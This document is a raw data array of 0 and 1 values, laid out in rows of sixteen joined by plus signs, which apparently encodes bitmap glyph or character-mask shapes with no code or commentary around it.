0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0, + 0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,1,1,1,0,0,0,0,0,0,0,1,1,1,0, + 0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0, + 0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0, + 1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1, + 1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0, + 0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0, + 0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0, + 1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1, + 1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1, + 1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0, + 0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0, + 0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,1, + 1,1,1,1,1,1,0,0,0,0,0,1,1,1,1,1, + 1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,1,1,1,1,1,0,0,0,0,0,1,1,1,1,1, + 1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1, + 1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0, + 0,0,0,1,1,1,1,1,1,1,1,1,1,0,0,0, + 1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0, + 1,1,1,1,1,0,0,0,0,1,1,1,0,0,0,0, + 1,1,1,0,0,0,0,1,1,1,1,1,1,1,1,1, + 0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0, + 1,1,1,0,0,0,0,1,1,1,1,0,0,0,1,1, + 1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0, + 0,1,1,1,1,0,0,1,1,1,1,0,0,0,0,1, + 1,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0, + 0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0, + 0,1,1,1,1,1,0,0,0,0,0,1,1,1,1,1, + 1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1, + 1,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1, + 0,0,1,1,1,0,0,0,0,0,1,1,1,0,0,1, + 1,1,0,0,0,0,0,1,1,1,0,1,1,1,0,0, + 0,0,0,0,0,1,1,1,0,1,1,1,0,0,0,0, + 0,1,1,1,0,1,1,1,1,0,0,0,0,0,1,1, + 1,1,0,1,1,1,1,1,1,1,1,1,1,1,0,0, + 0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1, + 0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1, + 1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0, + 0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0, + 0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0, + 0,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1, + 1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0, + 0,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1, + 1,1,1,0,1,1,1,1,0,0,0,0,0,1,1,1, + 1,0,0,0,0,0,1,1,1,1,0,0,0,1,1,1, + 1,0,0,0,0,1,1,1,1,1,1,1,1,1,0,0, + 0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0, + 0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0, + 0,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0, + 1,1,1,1,0,0,0,0,0,0,1,1,1,1,0,0, + 1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0, + 0,0,1,1,1,1,1,1,1,1,1,1,0,0,0,0, + 1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0, + 0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,1, + 1,1,1,1,1,1,1,1,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,1,1,1,0,0,0,0,0,0,0,1,1,1,0, + 0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0, + 1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0, + 0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0, + 0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0, + 1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1, + 1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0, + 0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0, + 0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1, + 1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1, + 1,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1, + 1,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0, + 0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0, + 0,1,1,1,1,1,1,1,0,0,0,0,1,1,1,1, + 1,1,1,1,1,1,0,0,0,0,1,1,1,1,1,1, + 1,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0, + 0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0, + 0,1,1,1,1,1,0,0,0,0,0,1,1,1,1,1, + 1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1, + 1,1,1,0,0,1,1,1,1,1,1,1,1,0,0,0, + 0,0,0,1,1,1,1,1,1,1,1,1,1,0,0,0, + 1,1,1,1,1,1,1,1,1,1,0,0,0,0,1,1, + 1,1,1,1,1,1,0,0,0,1,1,1,0,0,0,0, + 1,1,1,0,0,0,0,1,1,1,1,1,1,1,1,1, + 0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0, + 1,1,1,0,0,0,0,1,1,1,0,0,0,0,1,1, + 1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0, + 0,1,1,1,1,0,0,1,1,1,1,0,0,0,0,1, + 1,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0, + 0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,0, + 1,1,1,1,1,1,1,0,0,0,0,1,1,1,1,1, + 1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,1, + 1,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1, + 0,0,1,1,1,0,0,0,0,0,1,1,1,0,0,1, + 1,1,0,0,0,0,0,1,1,1,0,1,1,1,0,0, + 0,0,0,0,0,1,1,1,0,1,1,1,0,0,0,0, + 1,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1, + 1,0,0,1,1,1,1,1,1,1,1,1,1,1,0,0, + 0,0,0,1,1,1,1,1,1,0,0,0,0,0,1,1, + 0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1, + 1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0, + 0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1, + 1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0, + 0,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1, + 1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1, + 1,1,1,0,1,1,1,1,0,0,0,0,0,1,1,1, + 1,0,0,0,0,0,1,1,1,1,0,0,0,1,1,1, + 1,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1, + 0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1, + 1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0, + 1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0, + 1,1,1,1,0,0,0,0,0,0,1,1,1,1,0,0, + 1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,1,1,1,1,1,1,1,1,1,1,0,0,0,0, + 0,0,1,1,1,1,1,1,1,1,1,1,1,1,0,0, + 1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0, + 0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1, + 1,1,1,1,1,1,1,1,1,1,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,1,1,1,0,0,0,0,0,0,0,1,1,1,0, + 0,1,1,1,0,0,0,0,0,0,0,1,1,1,0,0, + 1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0, + 0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0, + 1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0, + 1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1, + 1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0, + 0,0,0,0,1,1,0,0,1,1,0,0,1,1,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0, + 0,0,1,1,1,0,0,1,1,1,0,0,0,0,0,1, + 1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0, + 0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,1, + 1,1,1,0,0,0,0,0,0,1,1,1,1,1,0,0, + 0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0, + 1,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0, + 0,0,1,1,1,1,0,0,0,1,1,1,1,0,0,1, + 1,1,1,0,0,0,1,1,1,1,0,0,1,1,1,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,1,1,0,0,0,0,1,1,1,0,0, + 0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,0, + 0,1,1,1,1,1,0,0,0,0,0,1,1,1,0,0, + 0,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1, + 1,1,1,0,0,1,1,1,1,1,1,1,1,1,0,0, + 0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0, + 1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1, + 1,1,1,1,1,1,0,0,0,1,1,1,0,0,0,0, + 1,1,1,0,0,0,0,0,0,0,1,1,1,0,0,0, + 0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0, + 1,1,1,0,0,0,1,1,1,0,0,0,0,0,1,1, + 1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0, + 1,1,1,1,1,0,0,1,1,1,1,1,0,0,0,1, + 1,1,0,0,0,1,1,1,1,1,1,1,1,1,0,0, + 0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,1, + 1,1,1,1,1,1,1,1,0,0,0,1,1,1,0,0, + 0,1,1,1,1,0,0,0,1,1,1,1,0,0,0,0, + 1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0, + 0,0,1,1,1,0,0,0,0,0,1,1,1,0,0,1, + 1,1,0,0,0,0,0,1,1,1,0,0,1,1,0,0, + 0,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0, + 1,1,1,0,0,0,1,1,1,1,0,0,0,1,1,1, + 1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0, + 0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1, + 1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, + 1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0, + 1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0, + 0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1, + 1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, + 1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0, + 0,0,0,0,1,1,1,1,0,0,0,0,1,1,1,1, + 1,0,0,0,0,0,1,1,1,1,0,0,0,1,1,1, + 1,0,0,0,0,1,1,1,1,0,0,0,1,1,1,1, + 1,0,0,0,0,0,1,1,1,1,0,0,0,1,1,1, + 1,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1, + 1,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0, + 1,1,1,1,0,0,0,0,0,0,1,1,1,1,0,0, + 0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,1,1,1,1,0,0,0,0,1,1,1,1,0,0,0, + 0,0,1,1,1,1,0,0,0,0,1,1,1,1,0,0, + 0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0, + 0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,1, + 1,1,1,0,0,0,1,1,1,1,1,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,1,1,1,0,0,0,0,0,0,0,1,1,1,0, + 0,1,1,1,0,0,0,0,0,0,0,1,1,1,0,0, + 1,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0, + 0,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0, + 1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0, + 1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1, + 0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0, + 0,0,0,0,1,1,1,1,1,1,1,1,1,1,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0, + 0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1, + 0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0, + 0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0, + 1,1,1,0,0,0,0,0,0,1,1,1,1,1,0,0, + 0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0, + 1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,1,1,1,0,0,0,0,1,1,1,0,0,0,0, + 1,1,1,0,0,0,1,1,1,0,0,0,0,1,1,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0, + 0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0, + 0,1,1,0,1,1,0,0,0,0,0,1,1,1,0,0, + 0,0,1,1,1,0,0,0,0,0,1,1,1,1,0,0, + 0,0,1,0,0,1,1,1,0,0,0,1,1,1,0,0, + 0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0, + 1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1, + 1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0, + 1,1,1,0,0,0,0,0,0,0,1,1,1,0,0,0, + 0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0, + 1,1,1,0,0,1,1,1,1,0,0,0,0,0,1,1, + 1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0, + 1,1,1,1,1,0,0,1,1,1,1,1,0,0,0,1, + 1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0, + 0,0,1,1,1,0,0,0,0,1,1,1,0,0,0,1, + 1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0, + 0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0, + 0,0,1,1,1,0,0,0,0,0,1,1,1,0,0,1, + 1,1,0,0,0,0,0,1,1,1,0,0,1,1,0,0, + 0,0,0,0,0,1,1,1,0,0,1,1,1,1,0,1, + 1,1,1,0,0,0,0,1,1,1,0,0,0,1,1,1, + 0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0, + 0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1, + 1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, + 1,1,0,0,0,0,0,0,0,1,1,1,0,1,1,1, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0, + 1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0, + 0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1, + 1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, + 1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0, + 0,0,0,0,1,1,1,1,0,0,0,0,1,1,1,1, + 1,1,0,0,0,1,1,1,1,0,0,0,0,1,1,1, + 1,0,0,0,0,1,1,1,1,0,0,0,0,1,1,1, + 1,0,0,0,0,0,1,1,1,1,0,0,0,0,1,1, + 1,1,0,0,0,0,1,1,1,1,0,0,0,0,1,1, + 1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 1,1,1,1,0,0,0,0,0,0,1,1,1,1,0,0, + 0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 1,1,1,1,0,0,0,0,0,0,1,1,1,1,0,0, + 0,0,1,1,1,1,0,0,0,0,0,1,1,1,1,0, + 0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0, + 0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,1, + 1,1,1,0,0,0,0,1,1,1,1,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,1,1,1,0,0,0,0,0,0,0,1,1,1,0, + 0,1,1,1,0,0,0,0,1,1,1,1,1,1,1,1, + 1,1,1,1,0,0,1,1,1,0,1,0,0,1,0,0, + 0,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0, + 1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0, + 1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1, + 0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0, + 0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0, + 0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0, + 0,1,1,1,0,0,0,0,1,1,1,0,0,0,0,0, + 0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0, + 0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0, + 1,1,1,0,0,0,0,0,1,1,0,1,1,1,0,0, + 0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1, + 1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 